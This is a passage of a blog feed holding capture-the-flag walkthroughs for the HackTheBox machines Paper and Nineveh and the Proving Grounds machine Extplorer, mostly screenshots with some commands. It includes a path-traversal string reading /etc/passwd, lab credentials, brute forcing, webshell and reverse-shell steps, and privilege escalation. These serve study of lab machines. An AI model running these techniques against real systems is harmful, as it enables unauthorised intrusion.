&lt;p&gt;Unfortunately apart from a bunch of &lt;code&gt;/manual/&lt;/code&gt; endpoints we don&apos;t find anything useful, let&apos;s check &lt;code&gt;443&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e9f59c61f5a6d2a6e326fca62b48cd46.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Since this didn&apos;t tell us anything I decided to check the response headers:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e7a40cc18dbe0da280c9f29c5f760c68.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I found an &lt;code&gt;X-Backend-Server&lt;/code&gt; header with the &lt;code&gt;office.paper&lt;/code&gt; variable. I decided to add it to my &lt;code&gt;/etc/hosts&lt;/code&gt; list as this was HIGHLY LIKELY a subdomain.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7354acc2b243a41cc7720faaf19610fa.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Correct indeed! Let&apos;s check the tech stack:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f1dd59808670e7be8d35b5ad8e2f7eef.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It&apos;s running &lt;strong&gt;WordPress 5.2.3&lt;/strong&gt;, let&apos;s see if it&apos;s vulnerable.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/337d659e7261b2a5a79504602a1ade20.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It is vulnerable, let&apos;s see if this is what we need to find.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9367ff69807fc0f3020254539ffe4653.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;According to above comment it looks like it is the correct CVE, let&apos;s exploit it.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/403d80b97bc011c8456aebf5b77476ae.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/cd3c1e07191e9f0f3c1ed0db93756617.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I went ahead and registered a new account via the found URL:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d2e1465154a41488f4d4096d93d13c79.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;LFI&lt;/h2&gt;
&lt;p&gt;This was all fun and games but I had no access to the admin panel, so I decided to check what I could get from the bot:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a7de56ea1f3776d5da80306c62752bad.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I was able to list files from the &lt;code&gt;/sales/&lt;/code&gt; directory.&lt;/p&gt;
&lt;p&gt;However I was &lt;em&gt;also&lt;/em&gt; able to get the contents from the &lt;code&gt;/&lt;/code&gt; directory.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/42d3a99ea97d2bc9feaeb9564b7bef91.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Even better news:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/35250b22d62f22c7fa2787f0484eae33.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;attachments/c6ed095b74b8f074f6298e66f487ce27.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s check out &lt;em&gt;dwight&lt;/em&gt;&apos;s &lt;code&gt;/home&lt;/code&gt; directory.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/cb9c69f1b85822a8a5142e078fb7d91c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Even though I had access, I unfortunately did &lt;em&gt;not&lt;/em&gt; find a &lt;code&gt;.ssh&lt;/code&gt; key here nor could I read the &lt;code&gt;user.txt&lt;/code&gt; file yet.&lt;/p&gt;
&lt;p&gt;However I noticed the &lt;code&gt;/hubot&lt;/code&gt; directory, and checked it out:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a4f7caddc85e11e352ca7eeceab3ef00.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;In here I found the &lt;code&gt;.env&lt;/code&gt; file which usually contains stuff developers want to hide from the rest.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/88d069be579e224db946408481e6685e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Hell yeah.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;recyclops
Queenofblad3s!23
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/22ccc6457bc5728b4b08e16a57109486.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;When I try to log in I get the above message, but I am still able to log in:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2ee2ecad24d72681e05c02939d19d811.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;p&gt;Let&apos;s see if &lt;em&gt;dwight&lt;/em&gt; uses the same password for SSH:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/da39677e6180c4f7346a41cfa71bb94d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;EZ PZ access.&lt;/p&gt;
&lt;h2&gt;user.txt&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/bd6f36934052c0d02dd53a04505503b7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Other than that I have no &lt;code&gt;sudo&lt;/code&gt; privs:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a623427f9c05f4bd3006b29bdd79b6ae.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;p&gt;I decide to download over &lt;code&gt;linpeas.sh&lt;/code&gt; and run it.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c71a83c7b47976fd0560d7a18e454f0e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I noticed this one which I haven&apos;t seen before amongst the suggestions, let&apos;s check it out.&lt;/p&gt;
&lt;p&gt;Let&apos;s verify the version of &lt;code&gt;polkit&lt;/code&gt; running:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5cc87753423a8f2c4694d7a9d310cbb1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I found a script that should automatically do this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6fb1810d9b2899d79ccfb1053cec398c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/637e464bc39d6a3837acdd02f2681a17.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5336b673d05e1976e88d8dc35f61d6d6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Hell yeah.&lt;/p&gt;
&lt;h2&gt;root.txt&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/084177e5792807ccfc2249ca0dd52b77.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1e6bc93647697874854f7edf6a726b62.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>HTB-Nineveh</title><link>https://maxk9999.vercel.app/posts/nineveh</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/nineveh</guid><pubDate>Wed, 23 Apr 2025 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;Scope:
10.10.10.43
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sC -sV nineveh -sT -T5 --min-rate=5000 -Pn -vvvv

PORT    STATE SERVICE  REASON  VERSION
80/tcp  open  http     syn-ack Apache httpd 2.4.18 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn&apos;t have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
443/tcp open  ssl/http syn-ack Apache httpd 2.4.18
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn&apos;t have a title (text/html).
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;443/TCP - HTTPS&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a3ba6fc80a527ce88522019694418a5c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I decided to launch &lt;code&gt;feroxbuster&lt;/code&gt; and brute force directories.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/95766d09e5f9238a90f142da9ced318a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/09442246af25ff49fff1ebddebac0d2a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f7181d456a73faf90e868f9936b046ff.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I found a &lt;code&gt;phpLiteAdmin&lt;/code&gt; page with version &lt;strong&gt;1.9&lt;/strong&gt; running. This version has multiple vulnerabilities but let&apos;s first narrow it down. I decided to launch &lt;code&gt;gobuster&lt;/code&gt; as well to do some more recon.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/04ce843d22c294e8977d3fb66b0c651c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I found another interesting endpoint, let&apos;s check it out.&lt;/p&gt;
&lt;h3&gt;Strings&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/148b307f86c9808e69c843d04ac02ae2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Interesting, I saved the pictures and ran &lt;code&gt;exiftool&lt;/code&gt; but didn&apos;t get anything useful:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/750395313f0e0da12654f759b2f781a5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s check it out using &lt;code&gt;strings&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/07e2e803030bdf79779244fddab510cf.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Unfortunately for us the SSH port is closed thus we have no way of accessing it.&lt;/p&gt;
&lt;h3&gt;Hydra&lt;/h3&gt;
&lt;p&gt;Time to brute force our way into the &lt;code&gt;/db&lt;/code&gt; endpoint:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c0e6f37729a539cef551fa7c29e2efb5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I easily found the password and tried it out on the target:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/24f75aada5173ca763f50b4000e55351.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We got access!&lt;/p&gt;
&lt;h2&gt;PoC&lt;/h2&gt;
&lt;p&gt;I then found a PoC on how to get &lt;strong&gt;PHP Code Injection&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/484e84db0d58bd103b477acbf362d4ed.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3407135b36d06b9f173849fed247203c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Reproducing steps&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/96ecf857bfc905bca4da71024fbe64b2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/70dff1cd04ea1c5df981e0ee761a3bc0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Then we go ahead and fill in the field:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9152dfc6ee2b151b08b1a7681f72f252.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/dd11cfef9589320556452dc6e471023e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;80/TCP - HTTP&lt;/h2&gt;
&lt;p&gt;We return to port &lt;code&gt;80&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3ca87ff7eb9f306c9e52d7cb6e6acfee.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/64289f09a67fc19d62a00ece903e019c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f7bea25b62ce980dda5fde17aa6c01e8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Here we find out that there are 2 error messages, if I enter a different username than &lt;em&gt;admin&lt;/em&gt; I get the following message:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d8a1874251336406238f8e690096bb1b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;More Hydra&lt;/h3&gt;
&lt;p&gt;Thus I yet again launched &lt;code&gt;hydra&lt;/code&gt; to brute force myself in again:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ef634061177b7442f414f31e36ab497f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6b7adb6176c3af4efe7da765970d589a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And I was inside.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/50ab05c1c12e4ea3c0745fc43d1c4377.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;LFI&lt;/h3&gt;
&lt;p&gt;Judging from the URL my senses started tingling and pointing towards some sort of &lt;strong&gt;File Inclusion&lt;/strong&gt; vulnerability:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/cdc4d2cece84cf6fbdca4061e01cdbb8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s see whether this param indeed is vulnerable.&lt;/p&gt;
&lt;p&gt;I tried a bunch of combinations but in the end I found this one to work:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/manage.php?notes=files/ninevehNotes/../../../../../../etc/passwd
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4a8aa324efcaf9c5029fb6c63ef983e9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::success
This is HIGHLY LIKELY because it still needs to read the note, when I input it without the &lt;code&gt;ninevehNotes&lt;/code&gt; file it gives me this error:
&lt;img src=&quot;attachments/0a2491fc8025ee950cf18d69e7a511be.png&quot; alt=&quot;&quot; /&gt;
:::&lt;/p&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;h2&gt;RCE via Webshell&lt;/h2&gt;
&lt;p&gt;We should now be able to use the LFI exploit on the shell that we previously made.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6738b6b4bcacd0c05302058658eec303.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It worked!!!&lt;/p&gt;
&lt;h2&gt;Reverse shell&lt;/h2&gt;
&lt;p&gt;Time to get out of this restricted webshell and get a full reverse shell.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/259e09fa253b8324b95676a65b5cb38d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ab4c633d5f12ff0ced72e6e175358e6c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/566415c071212487007687923a9bf881.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Awesome! We got access as &lt;em&gt;www-data&lt;/em&gt; now.&lt;/p&gt;
&lt;p&gt;I then wanted to enable &lt;code&gt;ssh&lt;/code&gt; so I could use the found &lt;code&gt;id_rsa&lt;/code&gt; key to log in, but I had no &lt;code&gt;sudo&lt;/code&gt; privs:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0b8aa9c5e147c92fda0d29b63c40cc8e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Automatic Enum&lt;/h2&gt;
&lt;p&gt;I downloaded over &lt;code&gt;linpeas.sh&lt;/code&gt; and started doing some enum.&lt;/p&gt;
&lt;p&gt;While I found some possibly interesting PE vectors I also found this &lt;code&gt;knockd&lt;/code&gt; binary:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f066c4aaab42ff824fbcdb66aa676e77.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This should be responsible for opening up the SSH port, which will let us get access with the &lt;em&gt;amrois&lt;/em&gt; &lt;code&gt;id_rsa&lt;/code&gt; key we found earlier.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0f288efcfcdbdfb97e95f02de9c04059.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Inside the &lt;code&gt;knockd.conf&lt;/code&gt; file we found the sequence needed to open up SSH.&lt;/p&gt;
&lt;h2&gt;Port Knock&lt;/h2&gt;
&lt;p&gt;We will be using &lt;code&gt;nmap&lt;/code&gt; to port knock, however since the sequence must be precise, we will write a &lt;code&gt;bash&lt;/code&gt; one-liner for it:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;for i in 571 290 911; do
for&amp;gt; nmap -Pn --host-timeout 100 --max-retries 0 nineveh.htb -p $i        
for&amp;gt; done;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/682f8582279ce892eb484bbd6d3c49c7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now we can go ahead and SSH into the system.&lt;/p&gt;
&lt;h2&gt;Shell as Amrois&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/019a99f7d0df4d9fd8a2b9ad90918bcc.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;user.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e6eb1d10abcdf6fb40b5ca0246c18e36.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;h2&gt;pspy64&lt;/h2&gt;
&lt;p&gt;I transferred over &lt;code&gt;pspy64&lt;/code&gt; in order to check out the running PID&apos;s and found some interesting ones running under &lt;em&gt;root&lt;/em&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/468c16c9827a1a90c4efabdecbc5ee23.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Apparently there&apos;s a binary checking for rootkits.&lt;/p&gt;
&lt;p&gt;I&apos;ll go ahead and look up whether there&apos;s some sort of exploit for this binary:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/01c900cb9ee3aedc16b2f05b91e2f92a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Indeed there is, a pretty old one at that as well, let&apos;s grab it.&lt;/p&gt;
&lt;p&gt;:::note
There&apos;s also a &lt;code&gt;msfconsole&lt;/code&gt; version of it, but I want to do it manually.
&lt;img src=&quot;attachments/25ce392348e864f5e49a0e15c3049525.png&quot; alt=&quot;&quot; /&gt;
:::&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5aad1c74c6f9ca867762c07d5fac86f9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then went ahead and put a reverse shell inside a &lt;code&gt;/tmp/update&lt;/code&gt; file:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/cd8ee609d8dbe0738990be77f909a7c5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now it&apos;s sit and wait for the shell to fire.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8c26deeb58beaa2db2d6ab09326a3d24.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;root.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/039fab6a3bda3465d0bd784e4362a756.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4773f6a9ec920d5e0b628b2e2cea189e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>PG-Extplorer</title><link>https://maxk9999.vercel.app/posts/extplorer</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/extplorer</guid><pubDate>Wed, 07 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;Scope:
192.168.184.16
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sC -sV extplorer -sT -T5 --min-rate=5000 -Pn -vvvv -p-

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;80/TCP - HTTP&lt;/h2&gt;
&lt;p&gt;I head on over and get routed to the following URL right away.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d9bd959141c80aa6c7a2810222071a16.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e1268744c9f902d8b02ff0dc16d1bd97.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Not too sure whether this is supposed to be exposed...or whether we can exploit it ðŸ¤”&lt;/p&gt;
&lt;p&gt;I looked it up and found a juicy &lt;a href=&quot;https://medium.com/@srilakivarma/%EF%B8%8F-%EF%B8%8F-how-i-hacked-a-wordpress-setup-and-gain-admin-privilege-and-got-paid-for-it-98a49433519f&quot;&gt;Bug Bounty WriteUp&lt;/a&gt; about this exact topic, let&apos;s see if we can follow along:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ea7a396468da12d1f87ed7931167269a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This walkthrough was a bust as I was not able to create a &lt;code&gt;sql&lt;/code&gt; account on the linked website, neither did simple testing pass this page:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d1f532e692b42cba0baaf399aece54be.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b1b50963d82825b8e658f7bd4ee91c94.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;So instead I launched &lt;code&gt;feroxbuster&lt;/code&gt; and started enumerating.&lt;/p&gt;
&lt;h3&gt;Feroxbuster&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ee913679c3b925b982034aaf55fb3e25.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I tried out this endpoint instead:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/800b628422a24fe10ecd7c33e934fe6e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Cool we get a login page!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a7d40d365e7826dc079983d0da9ac4ac.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Nice, simple &lt;code&gt;admin - admin&lt;/code&gt;, let&apos;s try it out.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/cdc880f89c66fff9b1b736addee92d70.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We get in and I notice 2 users:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/10d2e89c45fe4c14215e2ecf203f0119.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I went ahead and changed &lt;em&gt;dora&lt;/em&gt; to &lt;strong&gt;Admin&lt;/strong&gt; status as well, who knows if anything good will come from it.&lt;/p&gt;
&lt;p&gt;Let&apos;s try to find some sort of exploit:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4ae4704c386500dcb1a0459e95e7fcf8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I was able to upload a webshell&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6773c5448f5cdd8ef8fd1154261f7894.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e47c747512f697316143ba53dc979097.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;EZ PZ&lt;/p&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;h2&gt;Shell as www-data&lt;/h2&gt;
&lt;p&gt;From here I just had to send myself a reverse shell:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3e0c1d52a0f043a49688200b7a97d822.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8f61df6353442efb92557b3d51a9935f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I used the &lt;code&gt;upload&lt;/code&gt; feature on penelope to upload &lt;code&gt;linpeas.sh&lt;/code&gt; and other stuff to enhance my exploitation:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b9baea2df60b0b4b3847a923c5038368.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I found that &lt;em&gt;dora&lt;/em&gt; is part of the &lt;strong&gt;disk&lt;/strong&gt; group.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a7cafe47353115bd4444d05c5c098d52.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This file looks rather interesting?&lt;/p&gt;
&lt;p&gt;I went on and viewed it via the website just because I still had access:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2b270c9943dea7e3abaef197d908bac3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Turns out there&apos;s a hash hidden in here.&lt;/p&gt;
&lt;h2&gt;Hash cracking time&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/142de4d225e96e809d3d90bb69c70719.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s crack this shit:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/638e7c809d08447ced4aa091d126454a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;EZ PZ&lt;/p&gt;
&lt;h2&gt;Shell as dora&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0fadfbef35702c98d6e4cc2fa6fa2a60.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;local.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8442960f7d97db72c6f846f0122e0178.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;h2&gt;Exploiting disk group privs&lt;/h2&gt;
&lt;p&gt;From my enum I had already found that &lt;em&gt;dora&lt;/em&gt; is part of the &lt;strong&gt;disk&lt;/strong&gt; group, let&apos;s find out how we can exploit this.&lt;/p&gt;
&lt;p&gt;I found a handy &lt;a href=&quot;https://www.hackingarticles.in/disk-group-privilege-escalation/&quot;&gt;guide for this&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8af1d7b0850e840da344ee7e0c9b23bf.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;proof.txt&lt;/h3&gt;
&lt;p&gt;Following this principle I got &lt;code&gt;proof.txt&lt;/code&gt; super easily:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3d2b4f7094009363c8df297d2da03da7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;But seeing as we actually need &lt;em&gt;root&lt;/em&gt; access to pass the exam we will have to escalate privileges somehow.&lt;/p&gt;
&lt;h2&gt;Post-Exploitation&lt;/h2&gt;
&lt;p&gt;The actual intended route to getting &lt;em&gt;root&lt;/em&gt; is as follows:&lt;/p&gt;
